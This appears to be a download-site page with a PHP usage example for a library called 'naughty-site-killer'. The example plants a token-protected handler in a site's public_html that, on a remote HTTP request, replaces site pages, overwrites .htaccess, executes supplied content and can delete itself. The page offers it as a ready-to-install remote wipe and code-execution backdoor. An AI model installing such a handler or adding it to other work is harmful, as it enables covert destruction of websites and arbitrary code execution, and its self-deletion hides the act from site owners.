PHP code example of peterujah / naughty-site-killer
1. Go to this page and download the library: Download peterujah/naughty-site-killer library. Choose the download type require.
2. Extract the ZIP file and open the index.php.
3. Add this code to the index.php.
<?php
require_once('vendor/autoload.php');
/* Start to develop here. Best regards https://php-download.com/ */
// path/to/public_html/naughty.php
use \PeterUjah\NaughtySiteKiller;
// Run script without interruptions.
NaughtySiteKiller::uninterrupted();
$naughty = new NaughtySiteKiller('<your-secure-bearer-hashed-token-here>');
try {
// Optionally pass `__FILE__` if class and handler are not in the same file to also delete the handler file
$naughty->run(__FILE__); // Run the script based on incoming HTTP request
} catch (Exception $e) {
$naughty->response("Unknown error occurred: {$e->getMessage()}", 500); // Handle errors
}
$request = [
'action' => 'kill', // Action to perform: 'kill', 'execute', 'template', or 'kill-self'.
'content' => 'Content for the template, execute (used in both HTML and PHP files when performing kill action, or for template creation).',
'htmlContents'=> 'Content for the template.html file (used when performing kill action).', // HTML content for the template.
'phpContents' => 'Content for the template.php file (used when performing kill action).', // PHP content for the template.
'name' => 'Filename to use when performing template action.', // Custom filename for the template.
'htaccess' => 'Content for the .htaccess file (overwrites existing .htaccess).',
];